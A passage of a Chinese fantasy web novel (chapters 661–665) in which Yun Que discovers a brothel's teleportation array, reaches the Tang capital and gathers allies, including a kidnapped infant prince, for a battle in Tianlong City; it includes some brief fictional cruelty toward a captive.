云缺紧锁眉峰,看来不动用全力,是破不开这面诡异的珠帘门了。 可是一旦动用全力,必定造成响动,九笤原就在楼下,容易被惊动。 到时候宝贝没得到,自己还被堵在屋子里,岂不是九死一生。 云缺正犯愁的时候,发现九笤长袖正死死的盯着自己。 云缺心头一动。 来到九笤长袖近前,云缺笑呵呵的道: “少城主,你应该知道如何开门,对吧,麻烦少城主帮个忙,把门打开。” 九笤长袖嘴里的怪虫在不断蠕动,他的眼珠子全是血丝,恶狠狠的瞪着云缺,恨不得咬死云缺,只是毫无力气,连说话都做不到。 “不肯帮忙?也罢,知道你是个忘恩负义的家伙,不帮就不帮,我自己想办法。” 云缺揉了揉肚子,道:“有点饿,先吃点东西再说,吃什么好呢……对了,就吃你吧。” 决云剑翻转,切进了九笤长袖的肚子。 “以前猎妖的时候,没什么吃的,只能吃妖,先把妖毛通通拔光,然后把肉片下来,放在火上烤,撒上盐巴,那味道别提多香了。” 云缺一边自言自语,一边在九笤长袖身上片下来一大块血肉,挑在剑尖上,微笑道:“哦对了,你不是妖,你是人,我不能吃人肉的,你的肉,只能喂狗。” “我最喜欢野狗了,喂狗的时候,要一片一片的喂,肉剃完了,再切骨头,内脏也不能浪费。” “野狗最喜欢你的肠子,它们会一路争抢,一边抢一边吃,一边拖着你的身体越跑越远……” 云缺淡淡的讲述,在九笤长袖听来如同恶魔的低语,他浑身不停的颤抖,拼尽全力张开五指,想要表达什么。 云缺看到了对方的细微动作,顿时眼前一亮。 抓起九笤长袖将其拖到墙角,云缺将九笤长袖的右手按在了珠帘门上。 下一刻, 银色的细线上下分开,墙壁幻化,出现一面石门。 用手一推,石门便轻易开启! 云缺心头大喜,拖着九笤长袖走进门内,并将其挡在身前,当做肉盾。 如果门里有机关,九笤长袖先死。 进门后,石门自行关闭。 所在之地,是一间空旷的屋子。 什么都没有! 空荡荡,四四方方,完全由青石构成。 云缺谨慎的感知四周,四品破军之力运转到极致,时刻提防着未知的危机。 等了稍许,屋子里根本没有半点动静。 这是什么地方? 云缺心中犯疑,难不成只是一处密室,用来藏身? 掐着九笤长袖,云缺谨慎的走到屋子中间。 这间屋子其他地方都十分普通,唯独地面有些奇怪。 墙壁上的砖石整整齐齐,地面铺就的青砖则七扭八歪,有的青砖是方形,有的是圆形,有的是月牙形状。 云缺沟通月魁,让月魁帮忙感知是否有危险。 得到的回复是没有察觉到危险气息。 “这间屋子,做什么用的。” 云缺冷声喝问着九笤长袖。 对方如同烂泥,根本说不出话来,勉强唔唔了两声。 问不出有用的消息,云缺自己寻找线索。 很快,发现了一个不同之处。 屋子正中心的地面,是一块颜色不同的青砖,表面是一层银色。 机关? 还是宝物? 云缺感知不出这块青砖的本质,为了安全起见,用九笤长袖的脚踩了一下。 这一脚下去,屋子里的气息瞬间改变! 地面与头顶,各自涌现出一层流光,并且各自相连,屋子里被光晕彻底笼罩。 在流光出现的瞬间,云缺做好了防备,妖气暴起。 可是随后,那流光居然相继消失,纷纷没入棚顶与地面。 屋子里恢复了原样,再无任何气息出现。 怎么回事? 云缺疑惑不已。 这间屋子很古怪,既然没发现好东西,还是远离为妙。 推开石门,云缺离开空屋。 石门再次自行关闭。 回到天字一号包间之后,云缺顿时目光一沉。 床榻上的七个花魁,不见了! 第662章 去救你儿子 七个花魁被绑着,短时间内无法逃脱。 云缺的手法,都是绑妖物用的,绑住几个花魁轻而易举。 花魁的消失,预示着有人来过! 不仅花魁消失,连墙角的尸体也不见了! 妖刀瞬间浮现,云缺左手刀右手剑,如临大敌。 以云缺猜测,肯定是九笤原到了。 本以为这么短的时间,九笤原不至于上来查看。 被九笤原堵在屋子里,想要逃去书楼将变得极其艰难。 云缺时刻准备着出手,可是等了一会儿,什么也没发生。 九笤原没出现,屋子里连个鬼影子都没有。 云缺紧锁眉峰,万般不解。 九笤原将花魁弄走,自己却藏起来不动手? 他儿子都这模样,他还想着偷袭呢? 犯不着这么谨慎吧? 云缺掐着九笤长袖,将破军气机铺满屋子,连月魁也散发出妖气,仔细感知着敌人的藏身处。 还是没人! 包间就这么大,藏个大活人太过明显,就算九笤原动用法术藏匿身形,在破军程度的气机与三阶妖王的感知之下,也难以做到毫无破绽。 云缺很快发现自己猜错了。 九笤原没在屋子里,要不然那老东西早动手了。 既然九笤原没来,花魁们哪去了? 还有消失的尸体。 难道青楼里的下人太勤快,进来打扫了房间? 不对! 云缺豁然转头,望向墙角。 尸体所在的地方,原本有些血迹,但此刻干干净净,连一点血丝都没有残留。 云缺更加疑惑。 自己就在暗门里,外面进来人打扫,自己也该听到点动静。 到底怎么回事…… 将九笤长袖扔到一边,云缺谨慎的靠近门口,仔细的听了听动静。 随后云缺的表情变得古怪起来。 门外确实有声音,一男一女。 对话也很简单。 男的想要霸王硬上弓,女的只卖艺不卖身,谈来谈去就差价钱谈不拢。 云缺直接破门而出。 来到门外,云缺大吃一惊。 外面不是长廊,而是另一间包间! 床榻上,一个瘦削的汉子正对一个浓妆艳抹的女人上下其手。 女人欲拒还迎,道:“至少一百两才行,否则人家不从嘛。” “什么一百两,都连听了三首小曲儿,差不多行了,老主顾怎么不得给点便宜。” 男人说到这忽然发现了云缺,大惊道:“你谁啊!怎么进来的!这里我包了,听曲儿你得给钱!” “一百两,滚。”云缺直接扔出一张银票。 男人慌忙接住,仔细看了看大喜道:“真是一百两!好好!我滚,我滚!嘿嘿发财了,老子来青楼从来是花钱,今儿居然在青楼赚钱了哈哈!” 男人刚要出门,只看到一个拳头越来越大,直接眼前一黑,直挺挺摔倒在地。 云缺一拳放倒了对方,捡起一百两银票嘀咕道: “赚我的钱,想得真美,算你走运遇到我,换成梅老六,一百两他能要你命。” 云缺正要收起银票,屋子里的那女人娇滴滴的道: “官人,我值一百两,我可以伺候官人的……” 嘭。 又是一拳,女人也被放倒,昏倒在床榻上。 “你想得更美。” 云缺收起银票,听了听动静,一切正常。 “怎么回事,外面居然多了个包间?” 云缺百思不解,再次来到门口,推门而出。 长廊上人来人往, 有醉醺醺的客人,有莺声燕语的花魁,有上菜上酒的小二,有呕吐不止的酒蒙子…… 云缺微蹙眉峰,走下二楼。 大厅内灯火辉煌,台上有舞姬在表演,热热闹闹,歌舞升平。 一切看来起来都没有改变。 云缺扫了眼距离舞台最近的圆桌。 这一看不要紧,云缺的汗毛都要立起来了。 圆桌旁,坐着一名富态的老者,满头银发,手里摇着折扇,一边品酒,一边欣赏歌舞,显得很是自在。 不是九笤原! 老者也看到了刚刚下楼的云缺,顿时惊讶起来,欣喜的招呼道: “孙子!” 孙子这词儿,换在平常,绝对是骂人的词汇,云缺听到肯定会反骂。 但今天骂不出来。 因为云缺还就是人家的孙子! 那富态的老者不是别人,正是云缺的外公,顺王,白万丰! 看到外公坐在九笤原的位置上,云缺觉得后背都发凉,几步冲过去。 没等开口,白万丰一把拉住云缺,大笑道: “我的好孙儿!你外婆天天念叨你呢,念叨得我都心烦,诸位!诸位!都看好了,这是我家外孙,吉王殿下!” 云缺差点被气得翻白眼。 都这种要命的时候了,非得把咱们的关系公之于众,天下皆知,这是生怕九笤原灭门灭得不干净啊! 云缺自己逃都没有十足的把握,这下好了,多了个累赘。 旁边众人都挺给面子,纷纷拱手打招呼。 云缺朝着周围人点点头,硬着头皮坐了下来,小声道: “外公,你怎么来这了?” 白万丰摇着折扇,得意道:“这不是刚发了俸禄嘛,出来喝点小酒听听小曲儿,散散心。” 云缺捂住了额头。 这外公活得可真潇洒,刚发俸禄就来勾栏听曲。 “我有急事,外公跟我走。”云缺低声道,同时扫视周围。 幸好没看到九笤原的身影。 “急什么,这曲儿是我点的,刚花了银子,看完再走。”白万丰道。 还看完? 云缺恨不得一拳放倒外公,扛着逃命。 “不走也行,我回去告诉外婆,说你来青楼找姑娘!”云缺黑着脸道。 “天是有点晚了,该回家了,走走走回家回家!”白万丰也不看了,跟着云缺离开青楼。 到了街上,云缺终于松了口气。 太危险! 如果被九笤原发现,自己这外公怕是活不成。 拉着白万丰疾行,云缺埋怨道: “外公你怎么大老远的来这里听曲儿?” “不远啊,吃完晚饭溜溜达达就到了。” 云缺气不打一处来。 吃完晚饭溜达到大秦天龙城来听曲儿,你是坐着云雁溜达来的吗! 关键云雁都得飞几天才能到! 忽然间,云缺放慢了脚步,脸上布满疑色。 街上很热闹。 人来人往,街边全是小吃,还有人卖艺表演,一片欢声笑语。 之前街上一片肃杀,怎么变得如此热闹? 抬头看了看,笼罩皇城的大雾也消失不见。 “孩儿啊,你什么时候回来的,怎么也不打个招呼,吓外公一跳,是不是在大秦穿帮了?” 白万丰关切的道:“没事儿!只要平安回来就好,一个破驸马,有什么可当的,没吃饭是吧,回家让你外婆给你准备点好吃的,咱爷俩喝几杯!” 云缺面带茫然,道: “外公,这里是哪儿?” 白万丰担心的抬起手,摸了摸云缺的额头,道:“我孙儿是不是病了,怎么糊涂了,这里当然是皇城啊。” “哪里的皇城!”云缺道。 “大唐皇城呗,还能是哪呢,外公岁数大了,出不了远门,只能在城里溜达溜达,顺便听听小曲儿……” 白万丰如同寻常人家的长辈般,唠唠叨叨,而云缺则如梦方醒。 猛然回头,望向远处的青楼大门。 云缺看到了青楼的牌匾。 仍旧是三个字,但不是闻香楼,而是百花楼! 这里居然是大唐皇城! 愣怔了片刻,云缺恍然大悟。 原来之前那处古怪的密室,是一座传送大阵,连通着天龙城的闻香楼与大唐皇城的百花楼! “我到大唐了……” 云缺从茫然状态中惊醒,脸上的神色变得惊喜起来。 天龙城陷入危机,找不到帮手,但是大唐有帮手啊! 云缺终于明白了闻香楼最大的隐秘。 原来闻香楼与百花楼都是星辰殿的买卖,由酉鸡坐镇,两座青楼之间建有连接的传送大阵,如此一来,两地之间可以瞬息而至,生肖高手完全可以先在大唐皇城集结,然后同时传送到天龙城,达到奇袭大秦皇城的效果。 秦皇受创之后,天龙城始终处于封城状态,外人根本进不来,但是星辰殿的高手却可以轻易通过两座青楼的传送阵而抵达。 好一招瞒天过海! 这招确实够阴险,但是有个极大的弊端。 如果传送阵被敌人利用,就成了自掘坟墓。 如今,云缺误打误撞之下,居然利用星辰殿的秘密传送阵,抵达了大唐。 大喜之下,云缺急急道: “外公你先回家,今晚别出来!多吃点补血的东西!多吃啊,记住多吃!” 白万丰一头雾水,见云缺要走,急忙问道: “好!我多吃点,孙儿去哪啊!” 云缺边跑边喊:“去救你儿子!” 眼看着云缺一阵风似的跑远,白万丰挠了挠头自语道: “这孩子怎么了,是不是真病了?怎么胡言乱语呢,我就你娘一个闺女,哪有儿子啊,儿子……” 忽然间, 白万丰目光晃动,两只手猛然捏紧,身体不由自主的颤抖起来。 这位老驸马,想起了多年前一些不堪回首的往事。 云缺疾行在热闹的长街,心情不再压抑。 天龙城的危机,几乎是个死局,唯一的机会,在魔佛身上。 而魔佛更加危险,即便除掉了噬魂师,云缺也无法保证魔佛会不会对自己动手。 幸好今天走运,居然到了大唐,那么天龙城的危机即可迎刃而解。 大唐皇城高手遍地,不仅有武威王,还有白无缺! 这次云缺下定决心,说什么也得把自己那个便宜表弟拐到天龙城去! 我在外面打生打死,你在家里吃乃睡觉,这还是兄弟嘛! 兄弟就该同甘共苦才对! 第663章 想你娘 既然到了大唐皇城,云缺整个人都轻松下来。 甚至想在街边吃碗面。 时间紧迫,云缺一路疾行,先去的地方是武威王府。 大唐最能打的,就属忆白龙。 到了门口也不通报,直接跳进院子。 与其他王府不同,忆白龙的府邸可以用简陋两个字来形容。 没有丫鬟,总共两个下人,一个看大门,一个做饭。 算上武威王,正好一家三口。 院落极大,空空荡荡,忆白龙正站在院子里仰头看天,一头发白在夜风中微微起伏。 看背影,孤零零,给人一种萧瑟之感。 云缺并未刻意放轻脚步,跳进来的动静,对方肯定察觉到。 忆白没回头,背着手,始终遥望夜空。 “皇叔,这么晚了还没睡呀。” 云缺来到近前,顺着忆白龙的目光看了看天空。 除了一轮明月,没什么可看的,连星星都没多少。 “赏月。” 忆白龙语气平淡的道出两个字。 云缺听得牙酸。 你一个武夫,大半夜不睡觉,赏月? “皇叔,咱是武夫,能不能不玩文人附庸风雅那一套,多无趣。”云缺道。 忆白龙点了点头,觉得赏月这种事确实跟武夫不沾边,于是说了实话道: “想你娘。” 咳咳咳…… 云缺被呛得咳嗽起来,你还真直接,这话听着像骂人。 “小侄特来请皇叔出山,我大舅遇到生死危机,还望皇叔能伸出援手,帮帮我娘的大哥。”云缺道。 忆白龙皱起眉,道: “顺王,只有郡主一名独女,你娘何来的长兄。” “嗐,这事儿说起来就话长了,我外公当年风流倜傥,在大秦有个妻子,诞下一子,是我娘同父异母的长兄,如今被困天龙城,生死未卜,敌人是星辰殿的生肖高手,我自己难以匹敌,特来大唐搬兵。”云缺简短道。 “星辰殿……好,何时动身,我随你走一趟大秦。”忆白龙十分干脆的道。 “谢过皇叔!今晚就走,我有手段能即刻抵达天龙城,皇叔先去百花楼等着,我去找皇舅多要点高手。” 云缺转身要走,忽地脚步一顿,疑惑道: “皇叔的气息,好像与以前不同了?” 云缺对忆白龙相当熟悉,在大唐的时候没少见面,所以对方的气息早已了然于胸,可今天云缺觉得忆白龙的气息不对劲,与之前出现了很大的不同,变得极其晦涩,几乎察觉不到。 忆白龙平静的道出缘由: “我已二品。” 云缺听罢更加惊喜。 三品的武威王就有对战二品的能力,如今破境成功达到二品不灭,战力必然更加强悍。 绝对是一份强援! 云缺发现忆白龙的神色并没有多少变化,好像对二品境界不以为意。 “恭喜皇叔进阶不灭武夫!皇叔好像不太高兴,难道进阶二品有什么弊端不成?”云缺问道。 “没有弊端,顺其自然罢了,我本剑侍,守剑而生,为了延缓师尊的残魂,这些年我将大部分气机留在剑匣当中,如今师尊离去,空留一柄白龙剑在人间。” 忆白龙的声音依旧平静,响起在空荡荡的院子里,更添了几分萧瑟之意。 云缺恍然大悟。 原来这位武威王早有冲进二品的实力,只是为挽留老剑圣的残魂,而迟迟停留在三品而已。 老剑圣在少年城用出了最后的力量,就此烟消云散,忆白龙的气机也不必再封印于剑匣当中,自然会水到渠成,直抵二品。 云缺始终认为武威王是个痴情种子,没想到人家如此尊师重道,不比天下大儒差上半分。 若大儒有个分类叫武儒,那么忆白龙当之无愧。 “老剑圣斩断了巫神之魂,当得上世间强者,最后的遗愿也得以完成,走得肯定毫无遗憾,皇叔不必难过,想点高兴的事。”云缺随口劝慰了一句。 忆白龙望着明月道: “我这一生,没有高兴的事,能让我高兴的,只有一个人……” “知道了,我娘。”云缺提前开口。 要不然人家又一口一个你娘,听起来在骂娘。 忆白龙点了点头,道:“若能陪她看一场日出,我这一生将再无遗憾。” “就看一场日出?”云缺奇怪的道:“这种要求太普通,皇叔为何要看日出呢?” 忆白龙的眉宇间现出沉沉的遗憾,道: “小时候,她曾经找我陪她看日出,说山顶的日出最美,山太高,她自己不敢去,我答应了,结果第二天练剑练到忘我,等想起来的时候,已经是中午。” “我跑到山顶,等到晚上,从此再没见过她,我等了二十多年,每天清晨都会在院子里看日出,除去阴天之外,一共看了六千三百八十次。” “明天日出,是第六千三百八十一次,我欠她一天日出,便还给她这辈子能看到的所有次日出,虽然我们不在同一个地方,总会有一次,是一起看的日出。” 云缺默默的听完,心里不太舒服。 武威王的痴情,执着到令人震撼。 错过一次相约,惩罚自己一生,原来忆白龙不是在院子里赏月,而是在等待日出。 云缺很难想象,世上居然还会有如此痴情之人,云缺都想替老娘安慰忆白龙几句。 把老娘嫁给武威王也没问题。 “皇叔不能总是自己看日出,喜欢一个人,你得争取才行啊,当个闷葫芦可不行,就算不会甜言蜜语,那就用实际行动来展现,正好这次是个机会,若能救出我大舅,我肯定把皇叔的功劳说给我娘听,也许我娘会回心转意呢。” 云缺说完自己都觉得别扭。 哪有儿子撮合自家老娘的道理。 不过武威王这人确实难得,别说人家如此痴情,就算换个普通人,也比云长吉要强出百倍。 “回心转意……” 忆白龙苦涩一笑,摇头道:“我不奢求她回心转意,我只求能陪她再看一场日出,哪怕日落而亡,我也心甘情愿。” 云缺听得神色凝重起来。 对武威王愈发敬佩。 说完最后一句,忆白龙一拍身旁的剑匣,大步而去。 “明天的日出,在天龙城看,若要救人,你最好动作快些。” 忆白龙离开王府,赶往百花楼等候。 第一位强援,就此尘埃落定。 云缺眨了下眼的工夫,人已经没了。 “走这么快,你好像比我还急啊……” 云缺嘀咕了一句。 在云缺看来,那句霸气的明天日出在天龙城看,应该可以改为,我的白龙剑已经饥渴难耐了…… 云缺莞尔一笑。 原来武威王的心里,仍旧有着追求自家老娘的心思,要不然怎么连自己大舅都不问是谁,急匆匆先去百花楼等着了呢。 云缺不再耽搁,第二站抵达皇宫。 午夜时分,唐皇白隆佑已经睡了。 今晚,注定是唐皇登基几十年以来,最为尴尬的一夜。 因为他这位大唐皇帝,是被云缺从被窝里拽出来的。 更尴尬的是,旁边还睡着皇后…… 鱼朝在旁边都快哭了,也不敢吭声,亲眼目睹着睡得迷迷糊糊的唐皇,被小鸡似的拎出来,然后放在大椅上。 唐皇睡得蒙头转向,揉了揉眼睛,看到云缺布满笑容的脸庞。 “啊!朕又做噩梦了!这祸害怎么又回来了!快醒来,快醒来!” 唐皇扇了自己两个嘴巴,发现挺疼,这才知道不是梦境。 而是真实发生的一切! 云缺真回来了! 白隆佑眼皮直跳,脸色发苦,还不如噩梦呢…… 至少噩梦能醒过来,云缺这家伙比噩梦要可怕千百倍。 “皇舅,好消息!我有办法解决大秦的威胁,让两国重归于好,百年无战!” “啊?真的假的?你可别骗朕。” “当然是真的了!我哪敢骗皇舅啊,皇舅知道我的为人,从来口无妄言,踏踏实实做人,低低调调做事。” “行了,朕信你就是了,快快说来,什么办法可以一劳永逸,解决大秦的威胁。” “这法子说来复杂,做起来就比较简单了,只要皇舅派遣大唐高手随我前往天龙城,我有十足把握办成此事。” 白隆佑揉了揉额头,一脸狐疑。 云缺这话说得云山雾罩的,他好像听懂了,又好像没听懂,就知道自己要派人。 “到底什么办法,云缺,你太年轻,不能贸然行事,给你人手没问题,但你必须对朕说实话。”白隆佑道。 云缺没办法,皇帝不是那么好忽悠的。 只好说出实情,以最简单的描述,将天龙城现在的危机如实告知了唐皇。 白隆佑听得很认真,紧锁眉峰道: “星辰殿居然有如此通天的手段,他们能覆灭天龙城,就能覆灭大唐皇城,秦皇陷入生死危机,确实是除掉他的一次机会,但也不能让星辰殿得手,无论秦皇还是星辰殿,他们一家做大,都不行,最好同归于尽。” 听到这话,云缺不得不佩服唐皇的思路。 难怪人家是皇帝,只要不是殷子受那种昏君,都有两把刷子。 确实如唐皇所言, 对大唐最好的局面,就是大秦与星辰殿同归于尽,大唐就可以一跃成为云州最强的国度。 比起与大秦世代交好,吞掉大秦的机会,更令唐皇眼红。 “皇舅,星辰殿没那么好对付。” 云缺继续说道: “那殿主极其神秘,至今无人知晓其真身,祸乱天下的均为生肖高手,少年城之战,皇舅想必听闻了,几位生肖高手险些困死大秦的顶尖战力。 如果殿主出手,无论大秦还是大唐,估计都挡不住,最好的办法是大唐与大秦联手,先剔除掉星辰殿这处云州毒瘤。” 白隆佑点头道: “你说得也有道理,太子刚回来,朕听闻了少年城之战,星辰殿确实是个隐患,不过朕若出兵协助大秦,帮秦皇渡过危机之后,那赢開若翻脸不认账,趁机扣下大唐高手,该如何应对?” 第664章 超品凶器 唐皇的担忧不无道理。 毕竟大秦与大唐之间敌视多年,白隆佑岂能放心派遣自家高手深入天龙城,一旦秦皇翻脸,去的人都会成为炮灰。 到时候大唐将遭遇重创,一旦损失大量高手,大唐的国力也会随之骤降。 “皇舅放心,这一点我可以担保。”云缺笃定的道。 “你如何担保?驸马又不是实在亲戚。”白隆佑狐疑道。 云缺脸色一垮。 驸马这身份,在哪都不招人待见是不是? “其实皇舅与秦皇,是兄弟,兄弟之间应当互相信任。”云缺道。 “什么?朕与秦皇是兄弟?什么时候的事儿!”白隆佑都听蒙了。 大唐皇帝与大秦皇帝,互相敌视几十年了,怎么突然成了兄弟,从哪论的? 云缺无奈之下,掰着手指开始解释: “皇舅,您看啊,太上皇是您父亲对吧,我外祖母是您父亲的亲姐姐对吧,我外公顺王是您的姑丈对吧,顺王在大秦还有妻子,生了个儿子,就是如今的秦皇赢開,其实顺王另一个身份是四十多年的大秦皇子。” “皇舅的姑丈的儿子,是不是皇舅您的兄弟,我说的没错,对吧。” 唐皇被绕得有点迷糊,道: “姑丈之子,的确是朕的表兄弟,确实没错……你说什么!顺王是大秦皇子?” 唐皇被这个消息惊得站了起来,满脸的不可思议。 “千真万确!皇舅若是不信,可以去问顺王,这件事瞒了几十年,也该水落石出了,既然秦皇赢開是表舅的兄弟,那么表舅应该相信秦皇一次,我可以作保,如果秦皇事后翻脸不认人,我提头来见!”云缺道。 白隆佑见云缺如此凝重,不由得跌坐在大椅上。 如此离奇的亲属关系,白隆佑做梦也没想到,天天互相敌视的大秦与大唐,两个皇帝居然是亲戚? “怎么会这样,实在匪夷所思啊。” 白隆佑惊奇不定的道:“顺王在大秦的儿子,算起来,与朕虽然是表兄弟,却没什么血缘关系。” 云缺心说没有血缘关系还不好吗,真要有关系你就该哭了,天天抽血谁扛得住。 “武威王已经决定出手,还请皇舅出兵,助我一臂之力!”云缺道。 “云缺啊,你先别急,这件事容朕再想想,事关重大,需要从长计议。”白隆佑道。 “还想?再想黄花菜都凉了!我是大唐吉王,大秦驸马,大晋平天王,燕国皇帝,少年城之王!如果连我作保都不信的话,那外甥不再多言,就此告辞,日后星辰殿若来大唐,我恐怕也没什么时间多管闲事。”云缺道。 见云缺有些恼火,白隆佑急忙道: “朕又没有说不派兵,消息来得太过突然,总得让朕缓一缓,理清楚头绪,大唐精锐乃是镇国之用,调动起来关乎国运啊。” 唐皇太过谨慎,云缺也没什么好办法。 其实云缺理解唐皇, 毕竟这种事发生得突然,自己一个人,一张嘴,说破天也未必管用。 调集些军兵没问题,一句话的事,但云缺需要的是真正的强者,普通军兵根本没用。 “陛下可以兵分两路,臣妾先带些家仆走一趟天龙城,陛下再与宰相大人商议后续援兵之事。” 皇后此时给出了建议,声音是从被窝里传出来的。 自从云缺闯进来,皇后就像被封印在被窝里似的,都没敢露头。 云缺和唐皇同时尴尬了一下,把皇后给忘了。 云缺识趣的先离开屋子,等了一会儿重新进来。 皇后长孙至清已然衣装得体的坐在唐皇身旁,就是黛眉时而跳动,显然有些懊恼。 整个大唐,敢打扰皇帝和皇后睡觉的,估计就眼前这位吉王了。 白隆佑担忧道: “皇后身份尊贵,岂能亲自冒险,朕实在放心不下。” “陛下无需担心,臣妾虽为女流之辈,但三品的修为是不作假的,即便面对二品亦有自保之力,何况武威王也同行。”长孙至清道。 云缺闻言大喜。 皇后就是皇后,养了二十年的灵花被自己吞了,人家仍旧能进阶三品,可见长孙家在大唐有着惊人的财力。 二品的武威王,加上三品的皇后,这份战力差不多应对两名生肖高手了。 还有位灵匠殿的先生在打头阵呢,算上云缺自己,足以改变战局。 云缺相信秦皇的战力,哪怕动用不了一品,人家也是二品巅峰,不灭武夫可不是那么好杀的。 还有龙桃,看似大大咧咧,实则经验十足。 左兰山那老狐狸更不必多说,被二品算计都死不掉,这次肯定也有一战之力。 事不宜迟,云缺谢过皇后之后,即刻出发。 白隆佑得知有地方能直接传送到天龙城,起身道: “云缺啊,到底在什么地方可以直达大秦,朕亲自送皇后前往。” “百花楼。”云缺随口道。 “天字几号房。”唐皇也随口道。 五个字说完,唐皇的眼皮顿时跳了跳。 说得太顺嘴了…… 旁边皇后的眉毛不动了,开始翻白眼儿。 “在天字一号房,我要去找位朋友,他实力强悍,只要他肯去帮忙,此行定可马到功成!” 云缺说完扭头开溜。 一阵风似的消失在唐皇与皇后的视线当中。 “天字,一号房。”长孙至清翻着白眼道:“陛下,还送不送臣妾呢。” “呃……皇后先行一步,朕这就唤来宰相议事,以最快速度派遣后续援兵,皇后此行万万小心,保重身体!” 唐皇说完也直接开溜,召见宰相吴尔智,并下令调集大唐最强的精锐天策司。 云缺的确溜了,但没出皇宫。 趁机潜入后宫,来到兰妃的住处。 最强的援手不在别处,就在皇宫里! 夜色朦胧, 一道黑影悄无声息的闪进慧兰殿,以极快的身手,从熟睡的兰妃身边抱走了襁褓里的婴孩。 出门的时候,婴孩忽然睁开眼睛。 正要大哭,小嘴儿直接被云缺的大手捂住。 别人都能说得动,白无缺肯定说不动的,总不能让唐皇把没满一岁的小儿子交出来,去大秦帮忙对付星辰殿吧。 说了唐皇也不能同意啊。 所以只能掠走。 抱着婴孩,云缺兴高采烈的走在街头。 遇到个卖糖葫芦的,顺手买了一根。 “来,表弟,哥哥请你吃好吃的!尝一口,可甜了!” 小婴孩瘪着小嘴,眼泪汪汪,小手不断在挣扎。 同时云缺耳畔传来声音。 “半夜掠走皇子,罪大恶极,把我送回去,恕你无罪。” “总在家睡觉有什么意思,没事儿就该出来玩玩,你看外面多热闹,全是好吃的好玩的,哥哥带你去个地方,可好玩了。”云缺道。 “我是婴儿,不能半夜玩耍,你到底要带我去哪。” 云缺听得更乐了,原来陀佛转世也不是万事皆知嘛。 那就更好办了! “当然是个好地方,你长大了才能去,现在提前带你去体验一番,多亏有我这个好哥哥,你看我多疼你,有好玩的地方第一个想到表弟你。” “我不信,你要去的地方肯定不是好地方,快送我回去,不然我要哭了。” “哭呗,大街上随便哭,反正没人在乎一个孩子哭闹,现出法相之类的也没问题,你看满街都是人,肯定会朝拜,到时候大家都知道唐皇之子乃至天命之人。” “无需法相,以我现在的力量,足以让你动弹不得,控制你送我返回皇宫,你若不送我回去,我自己动手。” “那你最好连我的嘴巴也封住,要不然我就大喊佛陀转世欺负人,我喊不动,我还有姐姐帮我喊,我姐姐喊不动,还有妹妹一起喊,我们姐弟三人全都喊不动,我可以把巫神放出来,让他喊两声,对了,你的老朋友巫神就在我身上,你想不想见见他,叙叙旧?” “……天下无赖何其多,加起来也没有你一个人无赖……” 白无缺算了服了,哪怕曾经是超品强者,也没见过有人脸皮这么厚,这么无赖的。 “帮个小忙而已,看你小气的,咱们是兄弟,我能害你么。” “你未必会害我,但坑我的时候,你肯定不会眨眼,你手上的佛手印呢,难道遇见了魔佛。” “别提了,佛手印都给了巳蛇魏墨城,那是我头号仇家,先不提手印的事,巫神能不能帮我处理一下,残魂被封在巫神碑里,就在我识海空间,我把巫神碑弄出去的话,会不会有危险?” “你觉得会不会有危险。” 白无缺的声音顿了顿,道:“巫神残魂既然融入巫神碑,那么巫神碑将成为一件接近超品的凶器,一旦放出来,大唐怕不得就此毁灭” “连你也扛不住?” “至少现在不行,我太虚弱,不能与巫神残魂动手,下场很容易同归于尽。” “那我多等等,你快点长大,咱俩联手弄死巫神……超品凶器?你是说,巫神碑的力量,若能被我利用,相当于我有了一件奇宝?” “可以这么说,只要将巫神碑彻底炼化,无论谁得到,都可变得极强,但过程注定凶险,一个不慎,很有可能被巫神吞噬元神,落个魂飞魄散的下场。” “那还是小心为妙,这事儿以后再说,咱们到了!” “这是……青楼?” 小婴孩瞪大了眼睛,盯着百花楼三个字,随后眼前一黑,被云缺蒙住了脑袋。 第665章 防贼防火防云缺 百花楼所在的整条长街被清空,闲人止步,大批军兵把守,严阵以待。 云缺赶到的时候,百花楼里已经没有了客人。 一众花魁与下人们尽数被看押起来。 楼内的并非守军,而是一些家仆打扮的精悍之人。 忆白龙背着剑匣倚在墙角,闭目养神。 皇后长孙至清一袭蓝裙,显得高雅出尘。 见过两位长辈后,云缺道: “事不宜迟,咱们这便出发,天字一号房的传送阵估计能一次传送百人,不知舅母娘娘带来的帮手在何处?” 长孙至清听着这个别扭,要么叫娘娘,要么叫舅母,哪有合起来叫的。 倒也有个好处,听起来显得尊重又亲切,好像生怕她这个舅母不帮忙似的。 “人都带来了,前面带路即可。”长孙至清道。 云缺点头称好,当前来到天字一号房,打开密室大门。 忆白龙大步而入,长孙至清紧随其后,然后是百名家仆。 云缺起初没太注意这些家仆。 到了密室才发现,这些家仆气息沉稳,目光锐利,从气息判断至少都是五品金身境的武夫。 其中有两名丫鬟打扮的女子,始终跟在长孙至清身后,这两个丫鬟居然是四品破军! 云缺不由得为之动容。 长孙家族的实力,居然如此强横,轻易能调集这么多高手。 难怪人家是大唐望族。 百名金身,两位四品,加上一位三品,一位二品,这次的帮手足够了。 云缺心里有了底气,大唐没白来! 长孙至清站定之后,柳眉一挑,望向云缺抱着的黑布包裹。 包裹在晃,里面不知道有什么东西在蠕动。 “你怀里的,是什么。”长孙至清蹙眉问道。 “宝贝!降妖除魔的至宝。”云缺不敢多解释,再次开启了传送阵。 流光从四周出现,一闪而逝,屋子里的众人消失了踪迹。 夜已深, 兰妃从睡梦中醒来,想着该喂孩子了,于是往身边摸索。 没有! 兰妃大惊,急忙唤来宫女点燃灯火。 灯光亮起,兰妃终于确认,孩子丢了! 兰妃急得大哭,宫女急忙去给皇帝送信。 白隆佑正与宰相商议派兵之事,闻讯匆匆赶来。 “怎么回事,朕的皇儿呢!” “陛下!皇儿不知被何人掠走,臣妾没用,呜呜呜……” 白隆佑脸都青了,怒冲冲唤来镇守皇宫的禁军头领,劈头盖脸一顿臭骂。 禁军头领挨了一脸吐沫星子,不敢反驳,始终低着头。 等皇帝询问线索,他才如实禀报。 “陛下,微臣今晚从未闭眼,一直在巡视,并无外人潜入皇宫,况且大阵也没有丝毫被触发的迹象,以微臣判断,皇子应该还在后宫,或许,或许走丢了……” “你在三个月的时候能走丢吗!爬都不会爬,怎么走丢!” “可能,大概,翻滚着走的……” “给朕查!封锁皇宫,封锁皇城!挖地三尺也要把皇子找出来!” 白隆佑气得怒容满面。 禁军头领只好下令封城,他也觉得奇怪,自己好歹也是四品高手,皇宫里飞出去只鸟儿也能立刻察觉,怎么皇子大半夜的就丢了呢。 一旁的宰相吴尔智始终稳如泰山,此时出言道: 